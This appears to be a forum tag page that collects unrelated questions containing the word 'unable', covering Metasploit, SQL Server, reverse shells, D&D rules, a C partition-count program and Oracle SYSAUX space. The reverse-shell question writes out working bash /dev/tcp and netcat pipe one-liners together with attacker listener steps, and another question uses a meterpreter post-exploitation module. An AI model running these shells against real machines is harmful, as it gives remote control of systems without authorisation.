Tag: Unable

Metasploit unable to get local issuer certificate

I got the following versions: Framework: 5.0.86-dev Console: 5.0.86-dev

The os that metasploit is installed are windows 10.

I get a meterpreter session with an android device (genymotion virtual machine) device and desktop are on the same network and also device has enabled gps with pre-defined lat & long and when I enter the following command in meterpreter:

run post/multi/gather/wlan_geolocate APIKEY=my google map API key (clean, without quotes or anything else) GEOLOCATE=true

I get the result in the photo with the error as I describe in the title, does anyone know if its a version SSL problem or something? how and where to search to fix this problem?

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SQL Server Agent unable to view network drives

I am unable to get agent jobs to output to a network path. I have pushed the IT guy to set up a domain authenticated user that logs in when the agent starts. That login does have access to the domain and is able to see the network drives. If I set the location of the output file to be the local c: then this works without issue. However if I set the drive to be a network location I get the following message;

[SQLSTATE 01000] (Message 0)Unable to open Step output file. The step succeeded.

Any help would be very much appreciated

Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP.

Locally over TCP:

  • Attacker terminal runs netcat to listen for a connection over port 8000: nc -vv -l 8000
  • Target terminal sends an interactive bash shell to the attacker: bash -i >& /dev/tcp/localhost/8000 0>&1;
  • Success!

Remotely over HTTP:

  • Attacker runs netcat to listen for a connection over port 8000: nc -vv -l 8000
  • Attacker runs ngrok to generate a web-facing IP: ./ngrok http --subdomain=example 8000
  • Target runs an interactive bash shell: bash -i >& /dev/tcp/example.ngrok.io/80 0>&1; (using port 80 because it’s HTTP)
  • The connection fails; I don’t even see any incoming traffic showing up on ngrok.

I also tried using netcat on the target machine, which unfortunately had the same result: /bin/bash 0< /tmp/mypipe | nc 192.168.1.100 4444 1> /tmp/mypipe (from this post)

Can anyone spot what I’m doing wrong?

Unable to install GSA SER

Hello,

I’m a long time user for GSA SER but haven’t used it since some months ago. Yesterday, I ordered a new VPS and
downloaded GSA SER & unzipped it but when I click ” ser_setup ” to start the installation, it doesn’t respond at all.

I’ve contacted the VPS provider and told me that there are many clients use GSA ser on their machines.

Can you help me ?

Thanks in advance.

PS; the same issue goes with the captcha breaker while other softwares like scrapebox works fine.
PPS; the VPS has 16 GB RaM 

@Sven

Can a Trickery Cleric cast spells through their duplicate when the Cleric would normally be unable to cast spells?

Inspired by this question, can a Trickery Domain Cleric get around effects that would normally prevent the Cleric from casting if they move their Invoked Duplicate outside of the effect?

As a concrete example; the Cleric (Bob) gets into a battle with another spell caster (Daryl). Daryl wants to keep Bob at bay and casts Silence trapping Bob in a soundproof area. Daryl invokes his duplicate (no sound required) and has the duplicate run out of the range of the Silence spell to attack Daryl.

So with Bob in the radius of a Silence spell, can he cast spells via his duplicate that is outside of the spell effect?

Per the spell description:

For the duration, you can cast spells as though you were in the illusion’s space, but you must use your own senses.

So Bob casts as if he was in the illusion’s space, not effected by Silence. And “talking” isn’t a “sense” like vision or hearing. So that should not be an issue.

Can Bob hit Daryl with an Inflict Wounds to try and break Daryl’s concentration and lower the Silence spell?

I am unable to understand the logic behind the code (I’ve added exact queries as comments in the code)

Our local ninja Naruto is learning to make shadow-clones of himself and is facing a dilemma. He only has a limited amount of energy (e) to spare that he must entirely distribute among all of his clones. Moreover, each clone requires at least a certain amount of energy to function (m) . Your job is to count the number of different ways he can create shadow clones. Example:

e=7;m=2

ans = 4

The following possibilities occur: Make 1 clone with 7 energy

Make 2 clones with 2, 5 energy

Make 2 clones with 3, 4 energy

Make 3 clones with 2, 2, 3 energy.

Note: <2, 5> is the same as <5, 2>. Make sure the ways are not counted multiple times because of different ordering.

Answer 

int count(int n, int k){     if((n<k)||(k<1)) return 0;     else if ((n==k)||(k==1)) return 1;     else return count(n-1,k-1)+ count(n-k,k);   // logic behind this? }  int main() {     int e,m;            // e is total energy and m is min energy per clone     scanf("%d %d", &e, &m);     int max_clones= e/m;     int i,ans=0;     for(i=1;i<=max_clones;i++){         int available = e - ((m-1)*i);   // why is it (m-1)*i instead of m*i         ans += count(available, i);     }     return 0; }

What happens when a charmed target becomes unable to be charmed?

So a bard charms monster 1. Monster 2 uses an action ability (such as Infernal Command) where it can make it so monster 1 can’t be charmed.

Does Monster 1 lose the original charmed status or does it keep the original charm?

Does Infernal Command, for example, only prevent the target from being charmed again by something else while the ability time is active? My line of thinking is like putting on a bullet-proof vest after you have already been shot.

ORA-01658: unable to create INITIAL extent for segment in tablespace SYSAUX; JOB_SCHEDULER is biggest occupant

DBMS_SCHEDULER is occupying all of my SYSAUX tablespace. I ran dbms_scheduler.purge_log which deleted 100 million rows from dba_scheduler_job_run_details, however v$ sysaux_occupants and the data file size remain unchanged. Is there some additional action I need to take to clear the SYSAUX tablespace of DBMS_SCHEDULER generated data?

Attempting to insert a single row into a newly created table in my regular tablespace fails with:

ORA-01658: unable to create INITIAL extent for segment in tablespace SYSAUX

I can see that JOB_SCHEDULER is taking up 92.4% of the SYSAUX tablespace by querying v$ sysaux_occupants:

SELECT     occupant_name,                         round (sum(space_usage_kbytes) * 100 / sum (sum(space_usage_kbytes)) over (), 2) Pct FROM v$  sysaux_occupants                   GROUP BY occupant_name ORDER BY 2 desc NULLAS LAST ;

I originally had over 100 million rows in dba_scheduler_job_run_details.

Yesterday, I ran the purge command (which took 3.5 hours):

BEGIN     dbms_scheduler.purge_log; END; /

Today, dba_scheduler_job_run_details has less than 1K rows.

However, the query on v$ sysaux_occupants is unchanged; today it still says JOB_SCHEDULER is occupying 92.4%. Likewise querying my data file sizes show that SYSAUX is still maxed out:

select d.TABLESPACE_NAME, d.FILE_NAME, d.BYTES/1024/1024 SIZE_MB, d.AUTOEXTENSIBLE, d.MAXBYTES/1024/1024 MAXSIZE_MB, d.INCREMENT_BY*(v.BLOCK_SIZE/1024)/1024 INCREMENT_BY_MB from dba_data_files d,     v$  datafile v where d.FILE_ID = v.FILE# order by d.TABLESPACE_NAME, d.FILE_NAME;

It seems like I have not actually deleted the space consumed by DBMS_SCHEDULER.

Is there some step I am missing to clean up all the space consumed by DBMS_SCHEDULER?